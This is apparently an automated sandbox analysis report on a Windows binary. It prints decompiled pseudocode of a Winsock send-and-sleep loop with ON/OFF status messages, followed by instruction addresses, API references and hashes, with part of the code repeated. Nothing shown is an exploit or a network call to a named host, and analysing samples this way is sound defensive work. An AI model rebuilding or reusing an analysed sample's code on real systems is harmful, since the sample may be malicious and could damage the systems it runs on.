    								 *((intOrPtr*)( *(_t661 + 8) + 0x10038)) = E00A46310( *(_t661 - 4),  *(_t661 + 8));
    								_t651 =  *(_t661 + 8);
    								__eflags =  *((intOrPtr*)(_t651 + 0x10038)) - 0xffffffff;
    								if( *((intOrPtr*)(_t651 + 0x10038)) != 0xffffffff) {
    									_push( *((intOrPtr*)( *(_t661 + 8) + 0x10038)));
    									_push(0x68b4);
    									E00A43830(__eflags, E00A436C0( *((intOrPtr*)( *(_t661 + 8) + 0x10038))), " %s ST%X %d\n",  *(_t661 + 8) + 0x1001d);
    									_t663 = _t663 + 0x14;
    								}
    								goto L92;
    							}
    							_t472 =  *(_t661 + 8);
    							__eflags =  *(_t472 + 0xc);
    							if( *(_t472 + 0xc) != 0) {
    								_t565 =  *(_t661 + 8);
    								_t473 =  *(_t661 - 0x28);
    								asm("cdq");
    								__eflags = _t473 %  *(_t565 + 0xc);
    								if(_t473 %  *(_t565 + 0xc) == 0) {
    									_t475 =  *( *(_t661 + 8) + 0x10040) * 0x3e8;
    									__eflags = _t475;
    									Sleep(_t475);
    								}
    							}
    							continue;
    						}
    						_t477 = E00A45650( *(_t661 + 8) + 0x1001d,  *((intOrPtr*)( *(_t661 + 8) + 0x10034))); // executed
    						 *(_t661 - 4) = _t477;
    						if( *(_t661 - 4) != 0xffffffff) {
    							 *( *(_t661 + 8) + 0x10018) = 0;
    							 *((char*)( *(_t661 + 8) + 0x1001b)) = 1;
    							 *( *(_t661 + 8) + 4) = 0;
    							 *( *(_t661 + 8) + 8) = 0;
    							 *(_t661 - 8) = E00A46140( *(_t661 - 4),  *(_t661 + 8));
    							 *(_t661 - 8) = E00A45F10( *(_t661 - 4),  *(_t661 + 8));
    							goto L7;
    						} else {
    							 *( *(_t661 + 8) + 0x10018) = 1;
    							 *((char*)( *(_t661 + 8) + 0x1001b)) = 0;
    							break;
    						}
    					}
    					__imp__#116(); // executed
    					return 0;
    				}
    			}









































    0x00a4737b
    0x00a4737b
    0x00a47388
    0x00a4738e
    0x00a473a2
    0x00a473a2
    0x00a46b15
    0x00a46b15
    0x00a46b18
    0x00a46b1e
    0x00a46b27
    0x00a46b30
    0x00000000
    0x00000000
    0x00a46b3c
    0x00a46b4c
    0x00a46bd7
    0x00a46bd7
    0x00a46be1
    0x00a46be4
    0x00a46c16
    0x00a46c19
    0x00a46c20
    0x00a46c8e
    0x00a46c9f
    0x00a46ca4
    0x00a46cab
    0x00a46caf
    0x00a46cbc
    0x00a46cb1
    0x00a46cb7
    0x00a46cb7
    0x00a46cc6
    0x00a46cd4
    0x00a46cd4
    0x00a46cda
    0x00a46ce0
    0x00000000
    0x00000000
    0x00a46ce9
    0x00a46cef
    0x00a46cf2
    0x00a46cf9
    0x00a46cfb
    0x00a46d02
    0x00a46d0c
    0x00a46d0e
    0x00a47095
    0x00a470a7
    0x00a470a7
    0x00a470ad
    0x00a470b3
    0x00000000
    0x00000000
    0x00a470c5
    0x00a470cb
    0x00a470ce
    0x00a470de
    0x00a47137
    0x00a4713a
    0x00a4713e
    0x00a47146
    0x00a4714c
    0x00a47161
    0x00a47166
    0x00a47179
    0x00a47179
    0x00a47194
    0x00a47199
    0x00a471a2
    0x00a471ab
    0x00a471ab
    0x00a471b1
    0x00a471b1
    0x00a471b9
    0x00a471b9
    0x00a470a1
    0x00a470a1
    0x00a470a4
    0x00a470a4
    0x00a471c4
    0x00a471c8
    0x00a471dd
    0x00a471e2
    0x00a471ee
    0x00a471f5
    0x00a471f5
    0x00a471fa
    0x00a471fa
    0x00a471fe
    0x00a4725e
    0x00a4725e
    0x00a47262
    0x00a47264
    0x00a47267
    0x00a4726e
    0x00a47277
    0x00a4727c
    0x00a47295
    0x00a4729a
    0x00a472a0
    0x00a472a0
    0x00a472ab
    0x00a472ab
    0x00a4726e
    0x00a472b1
    0x00000000
    0x00a472b1
    0x00a47200
    0x00a47203
    0x00a4720a
    0x00000000
    0x00000000
    0x00a4720c
    0x00a4720f
    0x00a47212
    0x00a47218
    0x00000000
    0x00000000
    0x00a47221
    0x00a47226
    0x00a47240
    0x00a47245
    0x00a47256
    0x00000000
    0x00a47256
    0x00a46d14
    0x00a46d26
    0x00a46d26
    0x00a46d2c
    0x00a46d32
    0x00000000
    0x00000000
    0x00a46d44
    0x00a46d4a
    0x00a46d4d
    0x00a46d5d
    0x00a46d64
    0x00a46d66
    0x00a46db5
    0x00a46db5
    0x00a46db8
    0x00a46dc2
    0x00a46dc5
    0x00a46e10
    0x00a46e19
    0x00a46e1c
    0x00a46e26
    0x00a46e29
    0x00a46e30
    0x00a46e30
    0x00a46e33
    0x00a46e3c
    0x00a46e52
    0x00a46e53
    0x00a46e5b
    0x00a46e6d
    0x00a46e72
    0x00a46e72
    0x00a46d1d
    0x00a46d20
    0x00a46d20
    0x00a46d23
    0x00000000
    0x00a46d23
    0x00000000
    0x00a46dc7
    0x00000000
    0x00a46dc5
    0x00000000
    0x00a46d4f
    0x00a46e7a
    0x00a46e84
    0x00a46e86
    0x00a47090
    0x00000000
    0x00a47090
    0x00a46e91
    0x00a46e97
    0x00a46e9e
    0x00a46ea8
    0x00a46eaa
    0x00a46eb5
    0x00a46eac
    0x00a46eac
    0x00a46eac
    0x00a46ec2
    0x00a46ecf
    0x00a46ed4
    0x00a46eee
    0x00a46ef3
    0x00a46ef6
    0x00a46ef9
    0x00a46f00
    0x00a46f02
    0x00a46f0d
    0x00a46f04
    0x00a46f04
    0x00a46f04
    0x00a46f23
    0x00a46f28
    0x00a46f2b
    0x00a46f3d
    0x00a46f3d
    0x00a46f43
    0x00a46f49
    0x00000000
    0x00000000
    0x00a46f5b
    0x00a46f61
    0x00a46f64
    0x00a46f74
    0x00a46f7b
    0x00a46f7d
    0x00a46fcc
    0x00a46fcc
    0x00a46fcf
    0x00a46fd2
    0x00a46fd9
    0x00a46fdc
    0x00a47030
    0x00a47033
    0x00a4703d
    0x00a47040
    0x00a47047
    0x00a4704a
    0x00a47053
    0x00a47069
    0x00a4706a
    0x00a47072
    0x00a47083
    0x00a47088
    0x00a47088
    0x00a46f34
    0x00a46f37
    0x00a46f37
    0x00a46f3a
    0x00000000
    0x00a46f3a
    0x00000000
    0x00a46fde
    0x00000000
    0x00a46fdc
    0x00000000
    0x00a46f66
    0x00000000
    0x00a46f3d
    0x00a46cce
    0x00a46cce
    0x00a46cd1
    0x00a46cd1
    0x00a472b8
    0x00a472c2
    0x00a472c4
    0x00a472ca
    0x00a472d0
    0x00a472d6
    0x00a472dc
    0x00a472e3
    0x00a472ed
    0x00a472ef
    0x00a472fa
    0x00a472f1
    0x00a472f1
    0x00a472f1
    0x00a47307
    0x00a47314
    0x00a47319
    0x00a47333
    0x00a47338
    0x00a4733b
    0x00a4733e
    0x00a47345
    0x00a47347
    0x00a47352
    0x00a47349
    0x00a47349
    0x00a47349
    0x00a47368
    0x00a4736d
    0x00a4736d
    0x00a472d6
    0x00a47375
    0x00a4737b
    0x00a4737b
    0x00a47388
    0x00a4738e
    0x00a473a2
    0x00a473a2
    0x00000000
    0x00a473a2
    0x00a4737b
    0x00a46c32
    0x00a46c38
    0x00a46c3b
    0x00a46c42
    0x00a46c57
    0x00a46c58
    0x00a46c72
    0x00a46c77
    0x00a46c77
    0x00000000
    0x00a46c42
    0x00a46be6
    0x00a46be9
    0x00a46bed
    0x00a46bef
    0x00a46bf2
    0x00a46bf5
    0x00a46bf9
    0x00a46bfb
    0x00a46c00
    0x00a46c00
    0x00a46c0b
    0x00a46c0b
    0x00a46bfb
    0x00000000
    0x00a46c11
    0x00a46b66
    0x00a46b6b
    0x00a46b72
    0x00a46b92
    0x00a46b9c
    0x00a46ba6
    0x00a46bb0
    0x00a46bc4
    0x00a46bd4
    0x00000000
    0x00a46b74
    0x00a46b77
    0x00a46b81
    0x00000000
    0x00a46b81
    0x00a46b72
    0x00a473ae
    0x00a473b9
    0x00a473b9

    APIs
      • Part of subcall function 00A46220: Sleep.KERNEL32(000003E8,00000000,00000000,?), ref: 00A46295
    • WSACleanup.WS2_32 ref: 00A473AE
    Memory Dump Source
    • Source File: 00000000.00000002.273246346.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true
    • Associated: 00000000.00000002.273239754.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273265989.0000000000A49000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273273320.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_a40000_40_115.jbxd
    Yara matches
    Similarity
    • API ID: CleanupSleep
    • String ID:
    • API String ID: 1660135218-0
    • Opcode ID: 972d7f5147ff7f7ce21243d0f01df8bb55c8f5a4a90f6596a02269aef70f8752
    • Instruction ID: 1a67edb59592535c6970aa40913f1bf736d501c5ac8d3b8f40f4c109939175e1
    • Opcode Fuzzy Hash: 972d7f5147ff7f7ce21243d0f01df8bb55c8f5a4a90f6596a02269aef70f8752
    • Instruction Fuzzy Hash: AF213D74904148DFCB15CFA4C180AEDBBF1AF89314F2481A9E949AF341C371AE81EB91
    Uniqueness

    Uniqueness Score: -1.00%

    C-Code - Quality: 92%
    			E00A46C49() {
    				signed int _t354;
    				signed int _t355;
    				signed int _t362;
    				void* _t366;
    				signed int _t375;
    				signed int _t409;
    				intOrPtr _t413;
    				signed int _t416;
    				long _t427;
    				intOrPtr _t443;
    				signed int _t472;
    				signed int _t473;
    				long _t475;
    				signed int _t477;
    				signed int _t489;
    				signed int _t490;
    				signed int _t495;
    				intOrPtr _t506;
    				long _t519;
    				signed int _t521;
    				intOrPtr _t543;
    				signed int _t565;
    				signed int _t576;
    				void* _t583;
    				signed int _t584;
    				signed int _t585;
    				long _t586;
    				signed int _t587;
    				signed int _t605;
    				signed int _t606;
    				intOrPtr _t614;
    				signed int _t639;
    				long _t649;
    				signed int _t651;
    				void* _t661;
    				void* _t663;
    				void* _t665;
    				void* _t666;
    
    				while(1) {
    					L92:
    					 *(_t661 - 8) = E00A46220( *(_t661 - 4),  *(_t661 + 8));
    					 *( *(_t661 + 8) + 0x10018) = 1;
    					if(( *( *(_t661 + 8) + 0x10018) & 0x000000ff) != 1) {
    					}
    					while(1) {
    						L1:
    						 *((intOrPtr*)(_t661 - 0x44)) =  *((intOrPtr*)(_t661 - 0x24));
    						 *((intOrPtr*)(_t661 - 0x48)) =  *((intOrPtr*)(_t661 - 0x40));
    						 *((intOrPtr*)(_t661 - 0x24)) =  *((intOrPtr*)(_t661 - 0x24)) + 1;
    						if( *((intOrPtr*)(_t661 - 0x44)) >=  *((intOrPtr*)(_t661 - 0x48))) {
    							break;
    						}
    						 *(_t661 - 0x28) =  *(_t661 - 0x28) + 1;
    						if(( *( *(_t661 + 8) + 0x10018) & 0x000000ff) != 1) {
    							L7:
    							_t489 =  *(_t661 + 8);
    							__eflags = ( *(_t489 + 0x10018) & 0x000000ff) - 1;
    							if(( *(_t489 + 0x10018) & 0x000000ff) != 1) {
    								_t490 =  *(_t661 + 8);
    								__eflags =  *((intOrPtr*)(_t490 + 0x10038)) - 0xffffffff;
    								if( *((intOrPtr*)(_t490 + 0x10038)) != 0xffffffff) {
    									E00A46480( *(_t661 - 4),  *(_t661 + 8));
    									E00A42540(_t661 - 0xc8, 0x80);
    									 *(_t661 - 0x18) = 0;
    									__eflags =  *(_t661 - 0x20) - 0xffffffff;
    									if( *(_t661 - 0x20) <= 0xffffffff) {
    										 *(_t661 - 0x2c) = 0;
    									} else {
    										 *(_t661 - 0x2c) =  *(_t661 - 0x20) + 1;
    									}
    									 *(_t661 - 0x14) =  *(_t661 - 0x2c);
    									while(1) {
    										_t354 =  *(_t661 + 8);
    										__eflags =  *(_t661 - 0x14) -  *((intOrPtr*)(_t354 + 0x10d58));
    										if( *(_t661 - 0x14) >  *((intOrPtr*)(_t354 + 0x10d58))) {
    											break;
    										}
    										 *(_t661 - 0x20) =  *(_t661 - 0x14);
    										_t366 =  *(_t661 + 8) +  *(_t661 - 0x14);
    										_t499 =  *((char*)(_t366 + 0x10956));
    										__eflags =  *((char*)(_t366 + 0x10956));
    										if( *((char*)(_t366 + 0x10956)) != 0) {
    											_t583 =  *(_t661 + 8) +  *(_t661 - 0x14);
    											__eflags =  *((char*)(_t583 + 0x10556));
    											if( *((char*)(_t583 + 0x10556)) != 0) {
    												 *(_t661 - 0x1c) = 0;
    												while(1) {
    													_t584 =  *(_t661 + 8);
    													__eflags =  *(_t661 - 0x1c) -  *((intOrPtr*)(_t584 + 0x1014c));
    													if( *(_t661 - 0x1c) >=  *((intOrPtr*)(_t584 + 0x1014c))) {
    														break;
    													}
    													_t506 =  *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x1c) * 4));
    													__eflags =  *((intOrPtr*)(_t506 + 0xc)) -  *(_t661 - 0x14);
    													if( *((intOrPtr*)(_t506 + 0xc)) ==  *(_t661 - 0x14)) {
    														E00A42540(_t661 - 0x1c8, 0x100);
    														 *(_t661 - 8) = E00A46860( *(_t661 - 4), _t661 - 0x1c8, 6, 0,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x1c) * 4)))), 0,  *(_t661 + 8),  *( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x1c) * 4)) + 4) & 0x000000ff,  *( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x1c) * 4)) + 9) & 0x000000ff);
    														__eflags =  *(_t661 - 8);
    														if( *(_t661 - 8) > 0) {
    															__eflags =  *(_t661 - 0x18) +  *(_t661 - 8) - 0x80;
    															if( *(_t661 - 0x18) +  *(_t661 - 8) >= 0x80) {
    																E00A457D0(_t661 - 0xc8,  *(_t661 - 4), _t661 - 0xc8,  *(_t661 - 0x18),  *(_t661 + 8));
    																 *(_t661 - 0x18) = 0;
    																E00A42540(_t661 - 0xc8, 0x80);
    															}
    															E00A42190(_t661 +  *(_t661 - 0x18) - 0xc8, _t661 - 0x1c8,  *(_t661 - 8));
    															_t663 = _t663 + 0xc;
    															 *(_t661 - 0x18) =  *(_t661 - 0x18) +  *(_t661 - 8);
    															_t519 =  *( *(_t661 + 8) + 8) + 1;
    															__eflags = _t519;
    															 *( *(_t661 + 8) + 8) = _t519;
    														}
    														Sleep(0x3e8);
    													}
    													_t499 =  *(_t661 - 0x1c) + 1;
    													__eflags = _t499;
    													 *(_t661 - 0x1c) = _t499;
    												}
    												__eflags =  *(_t661 - 0x18);
    												if( *(_t661 - 0x18) > 0) {
    													E00A457D0( *(_t661 - 0x18),  *(_t661 - 4), _t661 - 0xc8,  *(_t661 - 0x18),  *(_t661 + 8));
    													 *(_t661 - 0x18) = 0;
    													_t499 = _t661 - 0xc8;
    													E00A42540(_t661 - 0xc8, 0x80);
    												}
    												L74:
    												__eflags =  *(_t661 + 8);
    												if( *(_t661 + 8) == 0) {
    													L78:
    													__eflags =  *(_t661 + 8);
    													if( *(_t661 + 8) != 0) {
    														_t585 =  *(_t661 + 8);
    														__eflags =  *(_t585 + 0x10d60);
    														if( *(_t585 + 0x10d60) > 0) {
    															E00A439C0(E00A436C0(_t499));
    															_push(0x68b3);
    															E00A43830(__eflags, E00A436C0(_t369), " %s M%X \n",  *(_t661 + 8) + 0x1001d);
    															_t663 = _t663 + 0x10;
    															_t586 =  *( *(_t661 + 8) + 0x10d60) * 0x3e8;
    															__eflags = _t586;
    															Sleep(_t586);
    														}
    													}
    													L81:
    													break;
    												}
    												_t587 =  *(_t661 + 8);
    												__eflags =  *((intOrPtr*)(_t587 + 0x10d68)) - 0xffffffff;
    												if( *((intOrPtr*)(_t587 + 0x10d68)) == 0xffffffff) {
    													goto L78;
    												}
    												_t375 =  *(_t661 + 8);
    												_t499 =  *(_t661 - 0x20);
    												__eflags =  *(_t661 - 0x20) -  *((intOrPtr*)(_t375 + 0x10d68));
    												if( *(_t661 - 0x20) !=  *((intOrPtr*)(_t375 + 0x10d68))) {
    													goto L78;
    												}
    												E00A439C0(E00A436C0(_t499));
    												_push(0x68b2);
    												E00A43830(__eflags, E00A436C0(_t376), " %s M%X \n",  *(_t661 + 8) + 0x1001d);
    												_t663 = _t663 + 0x10;
    												Sleep( *( *(_t661 + 8) + 0x10d64) * 0x3e8);
    												goto L81;
    											}
    											 *(_t661 - 0xc) = 0;
    											while(1) {
    												_t605 =  *(_t661 + 8);
    												__eflags =  *(_t661 - 0xc) -  *((intOrPtr*)(_t605 + 0x1014c));
    												if( *(_t661 - 0xc) >=  *((intOrPtr*)(_t605 + 0x1014c))) {
    													break;
    												}
    												_t543 =  *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0xc) * 4));
    												__eflags =  *((intOrPtr*)(_t543 + 0xc)) -  *(_t661 - 0x14);
    												if( *((intOrPtr*)(_t543 + 0xc)) ==  *(_t661 - 0x14)) {
    													_t443 =  *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0xc) * 4));
    													__eflags =  *(_t443 + 8) & 0x000000ff;
    													if(( *(_t443 + 8) & 0x000000ff) != 0) {
    														 *(_t661 - 8) = E00A465E0( *(_t661 - 4), 6, 0,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0xc) * 4)))), 1,  *(_t661 + 8),  *( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0xc) * 4)) + 4) & 0x000000ff,  *( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0xc) * 4)) + 9) & 0x000000ff);
    													}
    													_t499 =  *(_t661 + 8);
    													__eflags = ( *(_t499 + 0x10018) & 0x000000ff) - 1;
    													if(( *(_t499 + 0x10018) & 0x000000ff) != 1) {
    														_t499 =  *(_t661 - 4);
    														 *(_t661 - 8) = E00A465E0( *(_t661 - 4), 6, 0,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0xc) * 4)))), 0,  *(_t661 + 8),  *( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0xc) * 4)) + 4) & 0x000000ff,  *( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0xc) * 4)) + 9) & 0x000000ff);
    														_t639 =  *(_t661 + 8);
    														__eflags = ( *(_t639 + 0x10018) & 0x000000ff) - 1;
    														if(( *(_t639 + 0x10018) & 0x000000ff) != 1) {
    															_t552 =  *(_t661 - 8) & 0x00000040;
    															__eflags =  *(_t661 - 8) & 0x00000040;
    															if(( *(_t661 - 8) & 0x00000040) == 0) {
    																E00A439C0(E00A436C0(_t552));
    																_push( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0xc) * 4)))));
    																_push(0x68b1);
    																__eflags =  *(_t661 + 8) + 0x1001d;
    																E00A43830(__eflags, E00A436C0( *(_t661 + 8) + 0x1001d), " %s M%X %d\n",  *(_t661 + 8) + 0x1001d);
    																_t663 = _t663 + 0x14;
    															}
    															L27:
    															_t499 =  *(_t661 - 0xc) + 1;
    															__eflags = _t499;
    															 *(_t661 - 0xc) = _t499;
    															continue;
    														}
    													} else {
    													}
    													break;
    												}
    												goto L27;
    											}
    											_t606 =  *(_t661 + 8);
    											__eflags =  *(_t606 + 0x10046) & 0x000000ff;
    											if(( *(_t606 + 0x10046) & 0x000000ff) == 0) {
    												L61:
    												goto L74;
    											}
    											Sleep(0x3e8);
    											 *(_t661 - 0x20) = 0xffffffff;
    											_t521 =  *(_t661 + 8);
    											__eflags =  *(_t521 + 0x10045) & 0x000000ff;
    											if(( *(_t521 + 0x10045) & 0x000000ff) != 0) {
    												 *(_t661 - 0x30) = 0;
    											} else {
    												 *(_t661 - 0x30) = 1;
    											}
    											 *((char*)( *(_t661 + 8) + 0x10045)) =  *(_t661 - 0x30);
    											E00A439C0(E00A436C0( *(_t661 - 0x30)));
    											_push(0x68b3);
    											E00A43830(__eflags, E00A436C0(_t405), " %s M%X \n",  *(_t661 + 8) + 0x1001d);
    											_t666 = _t663 + 0x10;
    											_t409 =  *(_t661 + 8);
    											_t524 =  *(_t409 + 0x10045) & 0x000000ff;
    											__eflags =  *(_t409 + 0x10045) & 0x000000ff;
    											if(( *(_t409 + 0x10045) & 0x000000ff) == 0) {
    												 *(_t661 - 0x34) = "OFF\n\n";
    											} else {
    												 *(_t661 - 0x34) = "ON\n\n";
    											}
    											E00A43830(__eflags, E00A436C0(_t524), "\nCurrent operation : %s",  *(_t661 - 0x34));
    											_t663 = _t666 + 0xc;
    											 *(_t661 - 0x10) = 0;
    											while(1) {
    												_t499 =  *(_t661 + 8);
    												__eflags =  *(_t661 - 0x10) -  *((intOrPtr*)(_t499 + 0x1014c));
    												if( *(_t661 - 0x10) >=  *((intOrPtr*)(_t499 + 0x1014c))) {
    													goto L61;
    												}
    												_t413 =  *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x10) * 4));
    												__eflags =  *((intOrPtr*)(_t413 + 0xc)) -  *(_t661 - 0x14);
    												if( *((intOrPtr*)(_t413 + 0xc)) ==  *(_t661 - 0x14)) {
    													_t614 =  *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x10) * 4));
    													__eflags =  *(_t614 + 8) & 0x000000ff;
    													if(( *(_t614 + 8) & 0x000000ff) != 0) {
    														 *(_t661 - 8) = E00A465E0( *(_t661 - 4), 6, 0,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x10) * 4)))), 1,  *(_t661 + 8),  *( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x10) * 4)) + 4) & 0x000000ff,  *( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x10) * 4)) + 9) & 0x000000ff);
    													}
    													_t416 =  *(_t661 + 8);
    													_t499 =  *(_t416 + 0x10018) & 0x000000ff;
    													__eflags = ( *(_t416 + 0x10018) & 0x000000ff) - 1;
    													if(( *(_t416 + 0x10018) & 0x000000ff) != 1) {
    														 *(_t661 - 8) = E00A465E0( *(_t661 - 4), 6, 0,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x10) * 4)))), 0,  *(_t661 + 8),  *( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x10) * 4)) + 4) & 0x000000ff,  *( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x10) * 4)) + 9) & 0x000000ff);
    														_t499 =  *(_t661 + 8);
    														__eflags = ( *(_t499 + 0x10018) & 0x000000ff) - 1;
    														if(( *(_t499 + 0x10018) & 0x000000ff) != 1) {
    															__eflags =  *(_t661 - 8) & 0x00000040;
    															if(( *(_t661 - 8) & 0x00000040) == 0) {
    																E00A439C0(E00A436C0(_t499));
    																_push( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x10) * 4)))));
    																_push(0x68b1);
    																__eflags =  *(_t661 + 8) + 0x1001d;
    																E00A43830(__eflags, E00A436C0( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x10) * 4))), " %s M%X %d\n",  *(_t661 + 8) + 0x1001d);
    																_t663 = _t663 + 0x14;
    															}
    															L48:
    															_t427 =  *(_t661 - 0x10) + 1;
    															__eflags = _t427;
    															 *(_t661 - 0x10) = _t427;
    															continue;
    														}
    													} else {
    													}
    													goto L61;
    												}
    												goto L48;
    											}
    											goto L61;
    										}
    										_t649 =  *(_t661 - 0x14) + 1;
    										__eflags = _t649;
    										 *(_t661 - 0x14) = _t649;
    									}
    									_t355 =  *(_t661 + 8);
    									__eflags =  *(_t355 + 0x10046) & 0x000000ff;
    									if(( *(_t355 + 0x10046) & 0x000000ff) != 0) {
    										_t576 =  *(_t661 + 8);
    										__eflags =  *(_t661 - 0x20) -  *((intOrPtr*)(_t576 + 0x10d58));
    										if( *(_t661 - 0x20) >=  *((intOrPtr*)(_t576 + 0x10d58))) {
    											 *(_t661 - 0x20) = 0xffffffff;
    											_t495 =  *(_t661 + 8);
    											__eflags =  *(_t495 + 0x10045) & 0x000000ff;
    											if(( *(_t495 + 0x10045) & 0x000000ff) != 0) {
    												 *(_t661 - 0x38) = 0;
    											} else {
    												 *(_t661 - 0x38) = 1;
    											}
    											 *((char*)( *(_t661 + 8) + 0x10045)) =  *(_t661 - 0x38);
    											E00A439C0(E00A436C0( *(_t661 - 0x38)));
    											_push(0x68b3);
    											E00A43830(__eflags, E00A436C0(_t358), " %s M%X \n",  *(_t661 + 8) + 0x1001d);
    											_t665 = _t663 + 0x10;
    											_t362 =  *(_t661 + 8);
    											_t498 =  *(_t362 + 0x10045) & 0x000000ff;
    											__eflags =  *(_t362 + 0x10045) & 0x000000ff;
    											if(( *(_t362 + 0x10045) & 0x000000ff) == 0) {
    												 *(_t661 - 0x3c) = "OFF\n\n";
    											} else {
    												 *(_t661 - 0x3c) = "ON\n\n";
    											}
    											E00A43830(__eflags, E00A436C0(_t498), "\nCurrent operation : %s",  *(_t661 - 0x3c));
    											_t663 = _t665 + 0xc;
    										}
    									}
    									Sleep(0x3e8);
    									while(1) {
    										L92:
    										 *(_t661 - 8) = E00A46220( *(_t661 - 4),  *(_t661 + 8));
    										 *( *(_t661 + 8) + 0x10018) = 1;
    										if(( *( *(_t661 + 8) + 0x10018) & 0x000000ff) != 1) {
    										}
    										goto L1;
    									}
    								}
    								 *((intOrPtr*)( *(_t661 + 8) + 0x10038)) = E00A46310( *(_t661 - 4),  *(_t661 + 8));
    								_t651 =  *(_t661 + 8);
    								__eflags =  *((intOrPtr*)(_t651 + 0x10038)) - 0xffffffff;
    								if( *((intOrPtr*)(_t651 + 0x10038)) != 0xffffffff) {
    									_push( *((intOrPtr*)( *(_t661 + 8) + 0x10038)));
    									_push(0x68b4);
    									E00A43830(__eflags, E00A436C0( *((intOrPtr*)( *(_t661 + 8) + 0x10038))), " %s ST%X %d\n",  *(_t661 + 8) + 0x1001d);
    									_t663 = _t663 + 0x14;
    								}
    								goto L92;
    							}
    							_t472 =  *(_t661 + 8);
    							__eflags =  *(_t472 + 0xc);
    							if( *(_t472 + 0xc) != 0) {
    								_t565 =  *(_t661 + 8);
    								_t473 =  *(_t661 - 0x28);
    								asm("cdq");
    								__eflags = _t473 %  *(_t565 + 0xc);
    								if(_t473 %  *(_t565 + 0xc) == 0) {
    									_t475 =  *( *(_t661 + 8) + 0x10040) * 0x3e8;
    									__eflags = _t475;
    									Sleep(_t475);
    								}
    							}
    							continue;
    						}
    						_t477 = E00A45650( *(_t661 + 8) + 0x1001d,  *((intOrPtr*)( *(_t661 + 8) + 0x10034))); // executed
    						 *(_t661 - 4) = _t477;
    						if( *(_t661 - 4) != 0xffffffff) {
    							 *( *(_t661 + 8) + 0x10018) = 0;
    							 *((char*)( *(_t661 + 8) + 0x1001b)) = 1;
    							 *( *(_t661 + 8) + 4) = 0;
    							 *( *(_t661 + 8) + 8) = 0;
    							 *(_t661 - 8) = E00A46140( *(_t661 - 4),  *(_t661 + 8));
    							 *(_t661 - 8) = E00A45F10( *(_t661 - 4),  *(_t661 + 8));
    							goto L7;
    						} else {
    							 *( *(_t661 + 8) + 0x10018) = 1;
    							 *((char*)( *(_t661 + 8) + 0x1001b)) = 0;
    							break;
    						}
    					}
    					__imp__#116(); // executed
    					return 0;
    				}
    			}









































    0x00a4737b
    0x00a4737b
    0x00a47388
    0x00a4738e
    0x00a473a2
    0x00a473a2
    0x00a46b15
    0x00a46b15
    0x00a46b18
    0x00a46b1e
    0x00a46b27
    0x00a46b30
    0x00000000
    0x00000000
    0x00a46b3c
    0x00a46b4c
    0x00a46bd7
    0x00a46bd7
    0x00a46be1
    0x00a46be4
    0x00a46c16
    0x00a46c19
    0x00a46c20
    0x00a46c8e
    0x00a46c9f
    0x00a46ca4
    0x00a46cab
    0x00a46caf
    0x00a46cbc
    0x00a46cb1
    0x00a46cb7
    0x00a46cb7
    0x00a46cc6
    0x00a46cd4
    0x00a46cd4
    0x00a46cda
    0x00a46ce0
    0x00000000
    0x00000000
    0x00a46ce9
    0x00a46cef
    0x00a46cf2
    0x00a46cf9
    0x00a46cfb
    0x00a46d02
    0x00a46d0c
    0x00a46d0e
    0x00a47095
    0x00a470a7
    0x00a470a7
    0x00a470ad
    0x00a470b3
    0x00000000
    0x00000000
    0x00a470c5
    0x00a470cb
    0x00a470ce
    0x00a470de
    0x00a47137
    0x00a4713a
    0x00a4713e
    0x00a47146
    0x00a4714c
    0x00a47161
    0x00a47166
    0x00a47179
    0x00a47179
    0x00a47194
    0x00a47199
    0x00a471a2
    0x00a471ab
    0x00a471ab
    0x00a471b1
    0x00a471b1
    0x00a471b9
    0x00a471b9
    0x00a470a1
    0x00a470a1
    0x00a470a4
    0x00a470a4
    0x00a471c4
    0x00a471c8
    0x00a471dd
    0x00a471e2
    0x00a471ee
    0x00a471f5
    0x00a471f5
    0x00a471fa
    0x00a471fa
    0x00a471fe
    0x00a4725e
